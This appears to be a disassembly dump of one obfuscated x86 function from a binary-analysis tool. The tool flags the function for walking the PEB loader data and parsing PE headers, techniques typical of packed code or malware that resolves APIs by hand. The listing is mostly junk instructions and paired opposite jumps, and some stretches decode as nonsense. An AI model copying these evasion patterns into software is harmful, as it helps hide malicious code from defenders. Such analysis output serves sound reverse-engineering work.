Function at 0x7be099
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
fadd dword [eax - 0x42]
sub bh, byte [eax]
imul edx, dword [edx + 2], 0x67438896
mov esp, edi
salc
add dl, byte [esi - 0x7498bc78]
out 0xd6, eax
scasd eax, dword es:[edi]
fcompi st(0)
jge 0x640015
add al, 0x94
mov bh, 0x27
nop
inc byte [edi - 0x37203149]
xchg edx, eax
mov edx, 0xaf98d639
lodsd eax, dword [esi]
push ebx
cmp al, 0x8d
pop edx
jns 0xf4496374
mov dword [edi + edx*8 + 0x64], edi
mov cl, 0xb1
mov cl, 0xe2
add ch, byte [0x53699678]
daa
push edx
xchg esi, eax
test edx, edi
push es
xchg esp, eax
pop dword [esi - 0x5f]
insd dword es:[edi], dx
mov esi, 0x231f4eb5
invalid
lea esp, [esp]
mov dx, bp
mov al, 0xd0
shr dh, cl
sete al
mov byte [esp], ah
mov dh, ah
bswap si
mov dh, ch
add esp, 0
mov byte [esp], ch
mov dh, 0xda
xchg si, dx
xchg edx, esi
mov dh, 0x69
jmp 0x76c6c5
mov edx, dword [esp + 4]
mov ax, word [esp]
xchg si, ax
mov dh, byte [esp + 2]
add eax, 0xeaa1934
mov ax, 0xf4d
bswap dx
mov esi, dword [esp + 3]
rcr dx, 0
lea esi, [edx + esi]
xchg word [esp + 1], si
mov byte [esp + 1], bh
mov esi, 0x512603bd
bswap eax
bswap ax
xchg dword [esp], eax
bswap eax
mov esi, 0x42d2768c
inc si
xchg dword [esp], edx
pop word [esp]
xchg dx, ax
add esp, 0
bswap esi
add esp, 2
xchg edx, esi
mov al, bl
mov byte [esp], bh
jbe 0x76a998
ja 0x76a998
mov eax, ebx
push ebx
sub al, 0x8d
add al, 0xad
add byte [eax], al
add byte [eax], al
lea eax, [ebp*4]
xchg esi, eax
xchg dword [esp], eax
mov dword [esp], esi
bswap dx
mov eax, dword [esp + 1]
inc edx
not edx
pop eax
mov esi, 0x677c3ddd
bswap esi
mov dh, byte [esp]
mov dh, 0x40
add esp, 1
push esi
jb 0x76a9d0
jae 0x76a9d0
js 0x76aa37
imul ebx, dword [edx], 0x47
mov esi, 0x450b629b
mov dh, ah
bsf eax, ebx
bswap eax
not edx
mov dh, 0xaf
sub esp, 0x1f
neg dh
sub esp, 3
mov eax, 0x11d81e5a
clc
lea eax, [ebx*4]
push dword [esp + 0x10]
mov dh, byte [esp + 8]
clc
mov word [esp + 0x11], sp
mov dh, 0xed
xchg dword [esp + 0x2e], eax
lea esp, [esp + 1]
pop si
xchg byte [esp + 0x3d], dl
mov dword [esp + 0x30], ecx
pop word [esp + 8]
bswap edx
mov byte [esp + 0x1a], al
pop eax
mov esi, ecx
cld
mov byte [esp + 0x19], cl
lea esp, [esp + 0x37]
mov byte [esp + 7], cl
pop word [esp + 2]
bswap eax
or edx, 0x70d46b27
bts si, bx
sub esp, 0x12
add esp, 0
bt eax, ebp
neg dx
bswap ax
lea esp, [esp + 0xb]
shl dh, cl
mov eax, edi
mov ax, word [esp + 0xf]
lea esi, [edi*4]
lea eax, [esi - 0x20]
lea esp, [esp + 0xa]
bsf ax, bp
dec si
push ebp
cmc
mov dh, cl
mov esi, ecx
xchg dword [esp + 5], edx
bswap edx
lea esp, [esp + 3]
mov ah, byte [esp]
mov esi, dword [esp + 6]
pop dx
neg si
xchg ah, dh
not eax
mov edx, 0x24031caf
pop eax
adc ax, di
cld
mov esi, dword [esp]
mov dx, word [esp]
bsf edx, ecx
xchg byte [esp], dh
bsf si, ax
mov dh, byte [esp]
xchg byte [esp], dh
xchg al, dl
bts ax, dx
mov al, byte [esp]
push ebp
bt eax, edi
xchg dword [esp], eax
bswap esi
mov si, bp
xchg dword [esp], edx
mov esi, esp
push bx
mov eax, 0x50326e0e
mov al, 0xc
neg dh
pop word [esp]
mov si, bx
bswap ax
pop word [esp]
xchg byte [esp + 1], dl
mov dh, 0xa3
mov dh, byte [esp + 2]
xchg edx, eax
xchg dx, ax
bswap eax
lea edx, [esi + esi]
lea esp, [esp + 1]
mov eax, 0xbc75a63
mov esi, eax
shl edx, 0x19
xchg al, dl
xchg word [esp], dx
mov esi, 0x2f0f1f34
bt ax, cx
mov si, 0x4b3c
mov word [esp], cx
push word [esp]
mov si, bx
dec al
bswap dx
mov esi, 0x53623abf
pop edx
lea edx, [edi*4]
mov edx, 0x3adc7f9d
lea eax, [esi + ebp]
mov dx, word [esp]
cmp ah, ah
dec dh
neg ah
mov edx, 0x60106c1c
mov si, dx
bswap edx
btc esi, esp
xchg esi, eax
rcr dh, 1
not esi
lea eax, [eax + 0xebc]
bts dx, si
bswap dx
xchg edx, esi
mov dh, byte [esp]
setge al
mov si, 0x2959
neg ax
pushal
xchg dword [esp + 0xc], edx
setae al
clc
mov eax, 0x51df0446
setae ah
pop eax
bts ax, ax
inc al
mov dh, 0xe7
pushfd
pop dword [esp + 0xb]
mov si, ax
bt edx, ecx
lea esp, [esp + 0x11]
pop dword [esp]
inc si
lea edx, [eax - 2]
mov eax, esp
lea edx, [ebx + 0xc8]
push edi
lea esi, [0x1f4234bb]
dec ah
mov dh, byte [esp]
bts eax, esp
lea esp, [esp + 5]
dec dh
mov esi, eax
mov word [esp], dx
jl 0x76aa41
jge 0x76aa41
ret 0x663e
mov si, word [esp + 8]
not esi
dec dx
bsf dx, di
push word [esp + 4]
mov byte [esp + 0xd], dh
lea eax, [esp + edi]
add esp, 6
bswap eax
not eax
bswap eax
pushal
xchg word [esp + 0x1a], si
push word [esp + 0x1b]
mov ax, di
pop ax
xchg word [esp + 0xd], si
bswap esi
mov byte [esp + 0x26], ch
lea edx, [esp + ebp]
bswap esi
mov ax, word [esp + 2]
xchg word [esp + 1], si
mov dx, 0x91d
neg esi
mov dx, word [esp + 0x27]
push dword [esp + 0x17]
mov edx, 0x461059ee
add esp, 0xb
xchg dword [esp + 0x17], eax
neg dl
xchg dx, ax
pop word [esp + 3]
mov eax, 0x7bc4124b
sub esp, 0xd
mov dh, ch
neg dx
mov dh, 0x12
sub esp, 0x11
xchg dx, ax
mov edx, ebx
pop dword [esp + 0xe]
pushfd
xchg dword [esp + 0x1c], eax
mov dl, 8
pop word [esp + 0x1a]
xchg dword [esp + 0x2d], eax
mov dh, byte [esp + 0x34]
bswap ax
not edx
rcr esi, cl
mov byte [esp + 0x24], bh
mov ah, 0xae
rcr esi, 4
mov dh, 0x54
dec dh
inc si
xchg dx, si
bswap eax
mov esi, 0x333e1af6
sub esp, 0x11
mov dh, byte [esp + 0x3f]
bswap si
dec dh
mov si, bx
add esp, 0x12
xchg byte [esp + 0x1d], dh
bsf si, ax
push dword [esp + 0x3a]
xchg dword [esp + 0x39], eax
pop si
sub ax, 0x488e
add esp, 0x26
pushfd
push word [esp + 0xb]
xchg esi, eax
pop word [esp + 8]
mov ah, cl
xchg dword [esp + 0x10], eax
xchg dword [esp + 9], edx
bsr eax, ecx
pop word [esp + 0x17]
push word [esp + 8]
lea esi, [esi + 0x3a0f]
push word [esp + 7]
xchg byte [esp + 0xe], dh
mov dh, byte [esp + 0x14]
shl dh, cl
xchg byte [esp + 0x16], dh
lea esp, [esp + 0xd]
lea esp, [esp + 3]
pop dword [esp + 4]
lea eax, [esi*4]
stc
xchg dword [esp + 2], edx
lea eax, [esp + ecx]
lea edx, [edx + 0x138e]
push dword [esp + 1]
bswap eax
mov dx, bx
xchg byte [esp + 0xb], al
sub esp, 0x1c
mov eax, ebp
mov esi, 0x37bd246e
inc edx
push dword [esp + 7]
mov si, 0x57c6
pop dx
rol edx, 0xe
push dword [esp + 7]
mov dl, 0xc1
pop word [esp + 0x21]
sub esp, 0x1e
mov ah, byte [esp + 0x1e]
btc eax, esp
lea esi, [edx + 0x60]
pop dword [esp + 0x37]
add esp, 0x3c
bsr si, cx
lea esp, [esp + 0xa]
bswap ax
neg al
mov dl, 0xb5
cmc
add esp, 1
mov dx, word [esp]
bt eax, eax
lea esi, [ebp*4]
lea eax, [esi*4]
mov esi, edx
mov si, word [esp]
sub esp, 5
mov byte [esp + 2], bh
xchg word [esp + 3], dx
bswap dx
mov eax, 0x7d16032f
add esp, 2
mov dh, ah
pop si
mov si, 0x7e70
xchg edx, eax
not eax
mov esi, 0x2f3c048c
xchg esi, eax
pop dx
sets dh
not si
mov ah, byte [esp]
pushal
push dword [esp + 0x1f]
mov ax, di
pop edx
xchg esi, eax
mov edx, edi
pushal
mov ah, 0xf9
mov eax, esp
cmc
xchg dh, ah
mov edx, dword [esp + 0x28]
inc ax
pop word [esp + 0x2c]
add esp, 0x2b
push dword [esp + 0xe]
lea esp, [esp + 0x14]
neg dh
mov byte [esp], dl
mov dh, byte [esp + 2]
dec esi
xchg si, ax
mov dl, 0x65
sub esp, 3
mov dh, byte [esp + 2]
stc
mov dh, byte [esp + 5]
mov dh, 0x1b
btc si, sp
lea edx, [ecx + ecx]
bswap edx
bswap ax
neg dh
xchg byte [esp], ah
xchg dword [esp], esi
bts eax, edi
mov si, 0x118a
pop word [esp + 1]
bts si, si
add esp, 1
mov ax, 0x57a8
sub esp, 0x16
mov si, 0x21a
sub esp, 0xf
cmc
xchg word [esp + 0x24], dx
rcl dh, 0
mov dx, word [esp + 0x10]
sub esp, 6
sub esp, 0x11
mov eax, dword [esp + 0x27]
lea eax, [esi - 3]
bswap dx
not eax
lea esp, [esp + 0x14]
mov word [esp + 0xe], sp
xchg byte [esp + 0x16], dh
mov ax, word [esp + 0x11]
lea esp, [esp + 2]
pop eax
jnp 0x76aa7e
jp 0x76aa7e
sti
invalid
aaa
jb 0x76af59
inc dword [eax + 0x63c013]
pushfd
stc
cmc
sub esp, 0x10
mov byte [esp + 0xb], dl
push dword [esp + 6]
sub esp, 7
sub esp, 0x13
mov byte [esp + 0x16], bh
push word [esp + 0x20]
mov dword [esp + 0x28], esi
add esi, esi
cld
mov si, 0x127
dec esi
bts si, sp
bswap si
mov esi, dword [esp]
lea esi, [edx*4]
mov esi, 0x574733e1
btc si, dx
mov esi, dword [esp]
lea esi, [ebx + edi]
bswap esi
mov dword [esp + 0x14], edx
mov edx, 0x374cd2
bswap dx
mov edx, 0x55793b55
mov si, word [esp]
push esi
lea edx, [esi + 0x35]
pop edx
mov dh, ch
mov dword [esp + 0xf], eax
lea eax, [edx + edi]
mov edx, ebx
mov eax, dword [esp]
mov dh, byte [esp]
not dx
sbb si, 0x72f7
mov eax, dword [esp]
btc eax, esp
lea eax, [ebx + 0xf3]
neg al
bsf edx, edi
lea edx, [esp + eax]
lea eax, [ecx*4]
xchg si, ax
pushfd
mov si, di
bswap esi
bsf edx, edx
inc esi
mov esi, 0x2b273032
pushfd
neg esi
xchg word [esp + 4], dx
mov word [esp + 1], ax
add al, 0x66
mov dword [esp + 1], eax
sub esp, 6
mov eax, dword [esp + 0xb]
mov byte [esp + 9], ch
jmp 0x76ac9a
push eax
je 0x76b047
jne 0x76b047
ret 0xc650
call 0x76b04c
pop eax
sub eax, 0x76b04c
jo 0x7bc6a0
jno 0x7bc6a0
pop esi
jnp 0x76b06c
push ss
ja 0x76b01b
push 0xcbb9c5ab
add dword [esp], 0x34941763
pushal
and al, 0x63
pop ss
xchg esp, eax
xor al, 0x60
push word [esp + 0xc]
pop dword [esp + 0x14]
mov dword [esp + 0x13], edx
mov word [esp + 0x13], bx
pop word [esp + 0x17]
jno 0x7bc051
jo 0x7bc051
inc edi
mov fs, word [esi]
mov si, 0xe64
bswap si
push dword [esp + 1]
mov esi, 0xe6b500e
bt esi, edx
mov esi, dword [esp + 0x34]
lea esp, [esp + 0x3c]
popfd
jge 0x76b065
push 0xcbb9c5ab
jns 0x76b06a
jmp 0x76b06a
neg esi
mov edx, eax
bts ax, di
cld
mov dh, dl
not dh
bswap ax
lea edx, [ebx + esi]
bswap dx
mov edx, dword [esp]
bsf dx, bx
add esp, 0
lea edx, [ecx + 0x33]
mov byte [esp], cl
setno dh
mov dl, byte [esp]
mov dl, 0x8c
adc dx, dx
mov ah, bl
lea esi, [ecx + 0x4e]
lea edx, [esi*4]
mov esi, dword [esp]
bswap si
mov ax, bx
mov byte [esp], ah
bswap eax
or si, 0x3684
mov si, word [esp]
push cx
mov edx, esi
bswap si
add esp, 1
xchg dh, al
add esp, 1
mov esi, dword [esp]
mov dx, cx
mov byte [esp], cl
xchg al, ah
bswap eax
mov ax, word [esp]
sub esp, 0x12
lea eax, [ebp + 0x22410608]
pop word [esp + 9]
dec dh
cld
lea eax, [ebx - 0x30e2]
lea eax, [edi + 0x3e]
pushal
mov esi, ebp
pop dword [esp + 0x13]
xchg word [esp + 0x14], dx
stc
mov word [esp + 0x13], bp
add esp, 0x26
pop esi
lea eax, [eax*4]
not edx
mov edx, 0x7ba102c2
mov word [esp], bx
pop dx
setbe dh
inc eax
mov edx, esp
lea esi, [edx + ebp]
bsr ax, cx
lea esi, [edi*4]
not dh
not ax
shr dh, 7
mov ax, word [esp]
mov edx, ebx
lea esp, [esp]
neg eax
mov si, cx
bswap eax
dec dl
mov si, bp
mov esi, edi
bswap esi
mov ax, 0x15f8
not esi
bswap esi
mov dh, al
bsf dx, cx
lea edx, [ebp + 0x615f]
mov dx, si
bswap ax
lea esp, [esp]
xchg esi, eax
mov si, 0x9f2
xchg si, ax
mov dl, dh
mov ah, bh
dec dx
mov esi, edi
mov edx, edi
lea esi, [ebx + edi]
setge ah
bswap si
mov si, di
mov dx, word [esp]
mov dh, byte [esp]
bswap eax
setnp dl
mov edx, dword [esp]
bt eax, ecx
neg dh
pushfd
lea edx, [ebp*4]
mov si, word [esp + 2]
xchg dword [esp], esi
mov si, word [esp]
mov si, dx
sbb ax, 0x686d
xchg dh, al
not al
bsf eax, ecx
xchg dword [esp], eax
clc
not dx
bswap esi
not dh
bts edx, ebx
pop esi
mov si, word [esp]
neg esi
add esp, 0
lea eax, [ecx*4]
add esp, 0
mov edx, dword [esp]
mov esi, dword [esp]
xchg dx, si
mov si, word [esp]
neg dh
mov edx, dword [esp]
xchg byte [esp], dh
xchg byte [esp], ah
mov esi, ebp
mov si, word [esp]
bswap ax
lea eax, [edx - 0xc5]
lea eax, [eax*4]
inc si
neg dl
not edx
inc edx
mov dx, sp
mov eax, dword [esp]
mov esi, 0x16513b1b
add esp, 0
mov si, 0x1964
xchg esi, edx
bswap ax
mov edx, 0x104b43a3
mov ah, 0x74
xchg dh, dl
bt esi, edi
add dh, 0xcd
dec dl
mov dh, 0x7b
mov al, dh
and eax, esp
sub esi, 0x14397498
push sp
bsf esi, ebp
xchg byte [esp + 1], dh
add esp, 1
not dx
sub esp, 4
xchg word [esp + 2], si
sub esp, 0x17
pop edx
mov eax, 0x6aa40d04
neg al
sub esp, 0x1e
xchg dword [esp + 0x25], eax
mov dh, byte [esp + 0x34]
xchg word [esp + 0x10], si
not dl
push word [esp + 0x29]
mov word [esp + 0xb], si
bt edx, esi
neg edx
xchg edx, esi
pop word [esp + 0x1d]
mov eax, 0x328f7d7a
mov esi, ebp
mov al, dl
xchg dword [esp + 0x1a], edx
mov ax, word [esp + 0x23]
sub esp, 0x1e
lea esp, [esp + 0x55]
setp al
lea esi, [0xa0f6686]
seto dh
bt eax, ecx
btc eax, ebp
xchg si, dx
clc
xchg dl, al
not eax
lea eax, [eax + edx]
bsr dx, si
lea eax, [ebx - 0x48]
xor edx, eax
cld
bswap si
mov ah, dh
neg dh
xchg dl, dh
bswap ax
btr esi, esi
lea eax, [edi*4]
neg dh
bswap ax
btr ax, ax
rcr dh, cl
dec dh
sub esp, 0xb
mov dword [esp + 4], ebx
mov dx, 0x6053
lea eax, [ebx*4]
stc
push word [esp + 5]
xchg word [esp + 6], si
sub esp, 3
pop word [esp + 2]
pop dword [esp + 4]
lea eax, [edx + 0x17b3]
pushfd
sub al, al
mov dl, byte [esp + 0xc]
bswap dx
mov dword [esp + 8], eax
mov ax, dx
xchg byte [esp + 7], al
push word [esp + 5]
mov eax, edx
xchg word [esp + 0xc], si
pop dword [esp + 7]
xchg dword [esp + 6], esi
stc
mov dh, 0x11
mov eax, dword [esp + 5]
mov dh, 0xeb
bswap ax
pop dword [esp + 1]
mov al, 0x98
sub esp, 6
bswap dx
or esi, 0x224b328a
mov ah, bh
not esi
pop dword [esp + 3]
inc edx
pop dword [esp]
push word [esp + 2]
xchg word [esp + 3], si
stc
mov dx, 0x5d28
inc si
pop word [esp + 2]
push word [esp + 5]
xchg word [esp], si
mov word [esp + 5], sp
btc edx, esp
bswap dx
not dh
pop si
lea esp, [esp + 1]
push si
push bp
mov byte [esp + 2], ah
mov esi, dword [esp + 7]
mov dx, 0x30bd
mov dword [esp], esi
lea eax, [edi*4]
pop dword [esp]
not eax
mov al, dl
mov eax, ebp
lea edx, [eax*4]
dec esi
xchg word [esp + 1], si
mov dx, word [esp + 1]
pop edx
bswap edx
not dx
setp al
stc
mov edx, esp
mov edx, esi
push edx
sub esp, 0
mov edx, ebp
mov esi, ecx
neg dh
mov ah, 0x3b
xor dh, 0x23
xchg dl, al
ror eax, cl
stc
lea edx, [ebx + 0x1a]
xchg byte [esp + 3], dh
bswap esi
bswap ax
push cx
add esp, 2
mov byte [esp], bh
xchg dl, al
pop word [esp]
bsr esi, edi
mov dh, byte [esp]
xchg dh, al
cmc
mov edx, dword [esp]
neg edx
lea esp, [esp]
mov eax, dword [esp]
lea esi, [ecx + ecx]
mov al, byte [esp + 1]
mov edx, dword [esp]
xchg dh, dl
pop si
lea edx, [eax + 0x37]
xchg dx, si
xchg byte [esp], dh
lea edx, [edi - 0xc2]
mov dx, bp
xchg esi, eax
mov dh, 0x37
push ecx
cld
add esp, 2
stc
bt esi, ebx
pop ax
bswap edx
mov edx, 0x1e31017e
bsr si, dx
mov esi, 0x35f74aa5
bswap eax
inc al
mov dl, 0xa
xchg al, dh
lea edx, [esp + esi]
mov si, word [esp]
not si
shr dh, cl
bswap edx
sub esp, 0x1f
mov dh, 0xae
push dx
mov eax, esp
bswap edx
pop ax
mov dx, word [esp + 2]
sub esp, 0x1b
pop ax
xchg word [esp + 6], ax
lea esp, [esp + 0x27]
xchg edx, eax
pop esi
mov edx, dword [esp + 8]
pop edx
bswap edx
mov ax, word [esp + 2]
mov ax, sp
lea esp, [esp + 9]
xchg byte [esp], dh
mov si, word [esp]
lea esp, [esp]
mov esi, 0x60735ea1
mov eax, dword [esp]
mov dh, byte [esp]
neg dh
neg al
mov byte [esp], al
clc
xchg al, dh
cld
mov ax, si
mov ax, 0x199e
setg dh
mov dh, 1
mov ax, 0x730e
add esp, 0
dec al
bsr si, bx
xor ah, 0xe2
mov esi, dword [esp]
mov dh, byte [esp]
bswap edx
mov dx, 0x25ea
mov eax, 0x38542681
mov eax, 0x15e6a9d
mov eax, 0x133766a
mov dh, byte [esp]
mov si, word [esp]
bswap ax
mov al, bh
bt si, cx
xchg ah, dh
mov ax, word [esp]
mov esi, eax
mov al, byte [esp]
mov eax, esi
mov si, 0x1a8
xchg ah, al
rcl ax, 3
add esp, 0
lea edx, [edi - 0x204d]
bswap si
add esp, 0
bsr eax, esp
mov dx, bx
mov si, 0x615e
dec dh
mov dh, byte [esp]
sbb ax, 0x5ac6
mov byte [esp], dh
cld
sub esp, 0xa
lea esi, [ebx + 0x32ef6cc3]
mov byte [esp + 6], bh
lea esi, [ebp*4]
pop eax
mov dx, 0xef4
push dword [esp + 6]
mov dx, ax
lea esp, [esp + 8]
mov dl, byte [esp + 1]
lea esi, [0x18337273]
add esp, 0
not edx
mov byte [esp + 1], bl
cmc
bswap ax
mov eax, 0x9017f23
not ax
xchg dh, dl
sub esp, 0xf
mov dx, cx
mov byte [esp + 1], cl
sub esp, 1
cld
mov ax, word [esp + 9]
neg edx
xchg word [esp + 0xe], si
push dword [esp + 0xf]
push word [esp + 0xf]
xchg word [esp + 0x15], dx
pop word [esp + 0x14]
mov dword [esp + 0x12], edx
pop dword [esp + 0xb]
inc ax
cld
xchg byte [esp + 7], al
lea esp, [esp + 0xd]
mov esi, eax
mov esi, 0x9960ab4
mov edx, dword [esp + 2]
add esp, 3
xchg byte [esp], dh
mov dh, byte [esp + 2]
mov esi, dword [esp]
neg esi
push edi
cmc
pop edx
pop ax
mov edx, 0x309c104f
neg edx
mov byte [esp], dl
inc ax
mov ax, 0x5971
push ebp
bswap si
stc
setl dh
bswap eax
pop word [esp]
neg dx
bswap eax
mov dh, ah
add esp, 2
mov eax, 0x7c625ca6
lea esp, [esp]
mov al, byte [esp]
not dx
mov dx, word [esp]
shl dh, 0
neg dh
mov si, sp
bswap esi
xchg esi, edx
bsr edx, ecx
pushal
not edx
bts edx, ebp
mov si, bx
add esp, 0x11
pop word [esp + 6]
xchg word [esp + 3], dx
neg eax
xchg dh, ah
bsf ax, cx
mov dword [esp + 3], esp
lea esp, [esp + 6]
not si
pop word [esp + 3]
lea esp, [esp + 5]
setl dh
xchg edx, eax
bsf si, dx
mov ax, 0xba5
setns dh
neg eax
adc eax, ebp
xchg dx, ax
bts si, ax
mov byte [esp], bl
setle dh
neg si
mov dh, byte [esp]
mov dh, 0xd2
lea esi, [edx*4]
xor eax, 0x613025fd
sub esp, 0xa
xchg dh, al
bswap edx
mov esi, esp
push word [esp + 1]
mov dx, word [esp + 2]
mov ax, 0x6169
mov ax, word [esp + 0xa]
xchg byte [esp + 7], dl
push ax
neg ax
push dword [esp + 0xd]
sub esp, 0xb
xchg word [esp + 0x18], si
rol dh, 5
mov dh, ah
shl si, 0xd
xchg byte [esp + 5], dh
mov si, sp
mov dl, 0x26
lea esi, [edx - 0x6f]
push dword [esp + 9]
neg si
lea esi, [esp + ebx]
cmc
neg dx
lea edx, [edi*4]
setnp ah
mov eax, 0x47ad05f0
xchg edx, eax
push dword [esp + 0x16]
mov ax, cx
bswap dx
mov eax, 0x1a842099
mov dx, bp
add esp, 0x1d
mov dh, bl
mov dword [esp + 4], edx
mov dl, 0x51
xchg al, dh
xchg esi, eax
shr eax, cl
mov dh, 0xcc
mov word [esp + 3], sp
pop ax
mov dh, dl
add esp, 3
pop word [esp]
add esp, 1
mov si, word [esp]
lea esi, [ebp + 0x50e7]
sub esp, 0xd
neg ah
xchg byte [esp + 0xa], dh
mov eax, dword [esp + 4]
mov dx, ax
lea esp, [esp + 0xa]
bt edx, esp
shr ax, cl
pushal
xchg byte [esp + 0xc], dl
lea edx, [esp + 0xd9]
neg dh
pop dword [esp + 0xb]
push dword [esp + 0x1d]
xchg byte [esp + 0x14], dh
pop dword [esp + 0xb]
lea esi, [edx*4]
mov edx, 0x3dfd1ab6
mov word [esp + 0xb], di
mov dx, 0x5591
inc dh
lea eax, [ecx + edi]
pop dword [esp + 2]
mov ah, 0x92
push word [esp + 0x18]
mov dword [esp + 0x11], esp
mov dx, di
mov byte [esp + 0xf], dh
lea esp, [esp + 7]
cld
mov dh, byte [esp + 9]
mov dh, ch
push word [esp + 6]
bswap si
mov dword [esp + 0xa], esi
xchg dword [esp + 0x11], edx
bswap si
mov al, dh
cmp eax, 0x4cb8548e
bsf edx, ebx
mov esi, edi
mov esi, 0x51f21b85
mov dword [esp + 0xf], edx
mov ah, dl
mov si, di
sub dh, bl
xchg esi, edx
add esp, 8
push dword [esp + 8]
or dl, 0xd7
pop edx
mov esi, 0x5a35797d
lea esp, [esp + 6]
xchg byte [esp + 5], dh
xchg byte [esp + 9], dh
mov dl, 0x6a
pop si
mov edx, 0x79ed2d73
mov byte [esp + 7], bh
mov edx, 0x6ded28e0
mov dx, 0x40be
mov esi, 0x4d1e1d59
mov dx, 0x74bf
pop word [esp + 2]
xchg word [esp + 3], dx
xchg byte [esp + 5], dh
neg dh
pop si
xchg dword [esp], edx
mov dx, 0x17ea
add esp, 3
bswap si
push word [esp + 1]
push dword [esp]
xchg byte [esp], dh
setle al
mov dword [esp + 1], esi
bswap ax
bswap edx
cmc
mov word [esp + 5], dx
setle al
lea eax, [edi + 0x43dd]
mov dh, 0xc2
lea edx, [ebx + ebp]
mov dword [esp + 1], edx
mov dh, 0x3e
xchg dx, si
xchg word [esp + 3], dx
mov dword [esp], esp
sub esp, 8
pop dword [esp + 1]
lea eax, [ecx + esi]
bswap eax
xchg dh, ah
push word [esp + 6]
xchg dword [esp + 6], eax
sub esp, 0x13
pop edx
push dword [esp + 0x13]
not ah
sub esp, 8
lea edx, [ebx - 0x3a5c]
pop dx
lea esp, [esp + 5]
lea edx, [edx + ebx]
cld
push ebx
push word [esp + 5]
lea edx, [edx + ebx]
bswap si
mov edx, esp
mov word [esp + 0x23], si
xchg byte [esp + 0x15], ah
shl eax, cl
stc
xchg word [esp + 5], si
mov word [esp + 0x1b], ax
mov dh, byte [esp + 0x14]
not esi
push word [esp + 0x1b]
mov edx, 0x159a6b81
xchg word [esp + 0x17], dx
mov edx, ebx
dec eax
bsf dx, sp
lea edx, [eax + ebx]
pop dword [esp + 0xa]
xchg dword [esp + 0x1a], eax
pop edx
mov si, word [esp + 0x16]
mov dl, 8
mov dword [esp + 0xf], edi
mov al, 0x3f
mov esi, ecx
neg esi
pop dword [esp + 0x14]
bswap dx
neg edx
pop dword [esp + 0x11]
lea esp, [esp + 2]
mov dx, 0x7100
mov edx, ebp
bswap ax
mov ah, byte [esp + 3]
push word [esp + 0x15]
pop esi
mov word [esp + 0x13], cx
btr dx, cx
mov dh, dl
pop dx
lea esi, [esi + 0xbb]
sub esp, 0x11
xchg dx, ax
inc eax
mov edx, dword [esp + 0x17]
mov dl, bl
mov si, ax
pop dx
lea esp, [esp + 0x15]
push dword [esp + 1]
add esp, 0xc
setne ah
mov dl, bl
pop esi
lea esp, [esp]
mov esi, dword [esp]
mov byte [esp], dh
bswap dx
pushal
lea edx, [0x4d7812a1]
mov word [esp + 0x10], dx
bswap esi
pop word [esp + 6]
bswap esi
shr eax, 0x12
add esp, 2
cld
setne al
push eax
bswap dx
xchg esi, eax
bswap si
mov dl, cl
lea esp, [esp + 3]
cmp ah, 0x80
sub dl, ah
xchg word [esp + 3], ax
lea eax, [ecx*4]
add esp, 9
adc dx, cx
mov esi, dword [esp + 0x15]
lea eax, [edx + 0x430c5368]
push bx
lea edx, [ebp*4]
add esp, 0x10
push dword [esp + 1]
mov word [esp + 1], di
neg esi
bsf ax, sp
mov dh, 0x7d
xchg edx, esi
mov ax, di
xchg dh, ah
xor eax, 0x226039d1
mov word [esp + 9], bp
mov dx, word [esp + 2]
mov ah, bl
not al
neg si
lea edx, [ecx*4]
mov dh, bl
sub esp, 0xf
and dh, bh
xchg si, ax
sub esp, 0x1f
mov dword [esp + 0x1e], esp
xchg word [esp + 0x18], ax
dec si
neg esi
pop dword [esp + 0x18]
xchg si, ax
add esp, 9
bsr ax, dx
pop word [esp + 0xc]
bswap esi
mov dh, byte [esp + 0x27]
xchg byte [esp + 3], dh
pop word [esp + 8]
add esp, 8
pop dword [esp + 0x17]
xchg dh, ah
neg esi
pop ax
bswap dx
bswap ax
dec dh
lea edx, [ebp + 0xcff3c01]
lea esp, [esp + 0x17]
cld
lea esi, [0x32f09cd]
setg dl
mov dh, byte [esp]
mov ax, 0x5a80
xchg esi, eax
mov dh, ah
lea eax, [esi*4]
lea esi, [ecx + 0x8bf]
pushal
lea edx, [ebp*4]
lea esp, [esp + 0xb]
clc
pop eax
xchg byte [esp + 0x12], dl
mov dx, 0x5c25
sub esp, 0xb
lea esi, [ecx*4]
mov si, sp
pushal
bsr si, dx
xchg dword [esp + 0x15], esi
mov eax, ebp
mov dx, bp
lea esp, [esp + 0x26]
bsf dx, dx
pushal
mov dh, 0x2f
bswap edx
pop word [esp + 1]
lea esi, [edx*4]
pop word [esp + 0x32]
neg al
mov byte [esp + 0x27], ah
mov si, word [esp + 0x32]
lea edx, [esi + edi]
mov dx, word [esp + 4]
mov dh, al
xchg byte [esp + 0x25], ah
sub esp, 8
pop si
sub esp, 0x16
lea esp, [esp + 0x52]
bswap esi
rcr dx, cl
adc si, cx
sub esp, 0x1e
bts esi, esp
xchg dword [esp + 0xb], esi
xchg dx, ax
mov dh, 0x20
lea edx, [ecx*4]
xchg esi, eax
xchg al, dh
pop word [esp + 0x17]
mov si, 0x2474
mov byte [esp + 0x15], al
sub esp, 8
sbb edx, eax
pop ax
add esp, 7
mov al, 0xfd
push word [esp + 0xf]
inc ax
lea edx, [ebp - 0x6758]
push dword [esp + 5]
stc
neg dx
push dword [esp + 0x20]
pop dword [esp + 0x11]
add esp, 0x20
lea esi, [eax + ebx]
lea edx, [edx*4]
mov esi, dword [esp]
sub esp, 0x15
bswap ax
mov word [esp + 0xc], di
xchg si, dx
mov si, word [esp + 8]
setne ah
pop dword [esp + 7]
push word [esp + 0xd]
setb al
push dword [esp + 2]
stc
lea esi, [eax + 0x39076406]
not dx
bswap edx
mov byte [esp + 0x10], al
lea eax, [esi + 0x799d]
cld
mov si, bx
mov dx, 0x1812
mov byte [esp + 2], ah
shr eax, cl
push dword [esp + 6]
mov dh, ah
sub esp, 0x13
pop dword [esp + 0xd]
dec edx
bswap si
bswap si
pop ax
bswap dx
not dl
xchg byte [esp + 0x13], ah
lea esp, [esp + 0x20]
mov ah, 0x65
neg si
setnp dh
mov dx, word [esp + 4]
push edi
bsf edx, ebp
mov byte [esp], bh
pop dx
mov edx, 0x54873651
push word [esp + 2]
mov byte [esp + 0xa], dh
setae al
mov byte [esp + 4], dh
not dx
mov byte [esp + 5], ah
btr si, si
lea esp, [esp + 2]
lea edx, [esi + ebp]
not si
bts si, si
mov edx, 0x61234039
add esp, 8
btr edx, edi
xchg word [esp], si
xchg word [esp], ax
cmp dh, dl
lea eax, [eax + esi]
bswap ax
lea eax, [ecx*4]
btc dx, bx
not esi
pop dx
and dx, 0x5f66
mov byte [esp], ch
mov dx, di
btr eax, esi
mov dx, 0x1f03
sub esp, 0x12
and eax, 0x28c17181
mov ax, 0xba
inc ax
